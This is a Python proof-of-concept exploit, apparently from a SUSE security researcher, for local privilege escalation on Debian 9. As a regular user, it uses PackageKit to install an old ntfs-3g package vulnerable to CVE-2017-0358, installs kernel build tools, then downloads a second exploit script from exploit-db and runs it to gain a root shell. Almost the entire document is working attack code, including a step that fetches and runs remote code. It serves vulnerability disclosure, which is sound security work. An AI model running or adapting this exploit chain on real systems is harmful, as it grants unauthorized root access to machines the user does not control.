#!/usr/bin/python3
# vim: noet ts=8 sts=8 sw=8

# Author: Matthias Gerstner <matthias.gerstner@suse.de>
# SUSE Linux GmbH
# Date: 2018-04-05
#
# Proof of concept: installation of an outdated package as a regular user via
# PackageKit on Debian to exploit a security defect and subsequently obtain
# root privileges.
#
# This script is supposed to be run on Debian 9 stretch as a regular user.
#
# Preconditions:
#
# - PackageKit must be installed
# - fuse module must not yet be loaded (there is also a variation of the
# exploit that attempts to exhaust the number of open files in the system to
# make the exploit work even if fuse is loaded, but it is not used here).
#
# This program downloads an old version of the ntfs-3g package that carries
# a valid signature and which is installed without admin permissions via
# PackageKit.
#
# The old ntfs-3g version is vulnerable to CVE-2017-0358 and allows to load
# a user controlled kernel module by using the MODPROBE_OPTIONS environment
# variable.
#
# Since we can install any other packages we like via PackageKit, this PoC
# also installs 'build-essential', 'linux-headers' and 'dos2unix' for
# setting up the kernel build environment necessary to use the exploit.
#
# Even if ntfs-3g is already installed on Debian it can be downgraded to the
# to the downgrade restriction not being enforced by the PackageKit apt
# backend.
#
# Should an authentication prompt pop up (in a graphical environment) then
# simply press cancel to make the PoC continue.

from __future__ import print_function
import os, sys
import urllib.request
import subprocess
import functools
import errno

call = functools.partial(subprocess.call, close_fds = True, shell = False)
check_output = functools.partial(subprocess.check_output, close_fds = True, shell = False)
popen = functools.partial(subprocess.Popen, close_fds = True, shell = False)

def add_space(amount):
	print('\n' * amount)

def download_url(url):

	base = url.split('/')[-1]
	print("Downloading", url, "to", base)
	con = urllib.request.urlopen(url)

	with open(base, 'wb') as fd:
		while True:
			chunk = con.read(4096)

			if not chunk:
				break

			fd.write(chunk)

	return os.path.join( os.getcwd(), base )

def run_pkcon(cmdline):

	pkcon = "/usr/bin/pkcon"
	cmdline = [pkcon, "-y"] + cmdline

	print("Using command line", ' '.join(cmdline))

	# use /dev/null as stdin to suppress authentication dialogs
	with open("/dev/null", 'r') as null:
		res = call(
			cmdline,
			stdin = null
		)

		if res == 0:
			print("Successfully called pkcon")
		else:
			print("pkcon failed")
			sys.exit(1)

def install_deb(debs):

	if not isinstance(debs, list):
		debs = [ debs ]

	cmdline = [ "install-local", "--allow-reinstall" ] + debs
	print("Trying to install", ' '.join(debs))
	run_pkcon(cmdline)

# hint is a prefix for finding the right DEB package in the cache (e.g.
# multiple gcc packages with various prefixes are downloaded)
def install_package(pkg, hint = None):

	cmdline = [ "install", "--only-download", pkg ]
	print("Trying to download system package", pkg)
	run_pkcon(cmdline)

	candidates = []

	archives_root = "/var/cache/apt/archives"

	# now look up the archive and install it, dependencies are implicitly
	# pulled in by PackageKit
	for archive in os.listdir(archives_root):
		if not archive.endswith(".deb"):
			continue
		elif not archive.startswith(pkg):
			continue
		elif hint and not archive.startswith(hint):
			continue

		candidates.append(archive)

	if not candidates:
		print("Couldn't determine DEB package to install")
		sys.exit(1)
	elif len(candidates) > 1:
		print("More than one DEB install candidate found:", candidates)
		sys.exit(1)

	pkg_archive = os.path.join( archives_root, candidates[0] )

	cmdline = [ "install-local", "--allow-reinstall", pkg_archive ]
	print("Trying to install", pkg_archive)
	run_pkcon(cmdline)

pkg_url_base = "https://cdimage.debian.org/mirror/cdimage/snapshot/Debian/pool/main"

pkg_bases = [
        "n/nettle/libhogweed2_2.7.1-5_amd64.deb",
	"n/nettle/libnettle4_2.7.1-5_amd64.deb",
	"g/gnutls28/libgnutls-deb0-28_3.3.8-6_amd64.deb",
	"n/ntfs-3g/ntfs-3g_2014.2.15AR.2-1+deb8u2_amd64.deb",
]

debs = []

for pkg in pkg_bases:
	deb = download_url('/'.join([pkg_url_base, pkg]))

	debs.append(deb)

add_space(3)

install_deb(debs)

kernelver = check_output(["uname", "-r"]).decode().strip()

for pkg in ("build-essential", "linux-headers-{}".format(kernelver), "dos2unix"):

	with open("/dev/null", 'w') as null:
		if call(["dpkg", "-s", pkg], stdout = null) == 0:
			continue

		add_space(3)
		install_package(pkg)

add_space(3)
exploit_dir = os.path.expanduser("~/ntfs_exploit")
try:
	os.makedirs(exploit_dir)
except OSError as e:
	if e.errno != errno.EEXIST:
		raise
os.chdir(exploit_dir)

print("Downloading exploit script")
# a program that helps getting a root shell once equipped with the setuid root bit
exploit_url = "https://www.exploit-db.com/download/41240.sh"
exploit_script = download_url(exploit_url)
call(["dos2unix", exploit_script])
os.chmod(exploit_script, 0o755)

add_space(3)
print("Running exploit script")
call(exploit_script)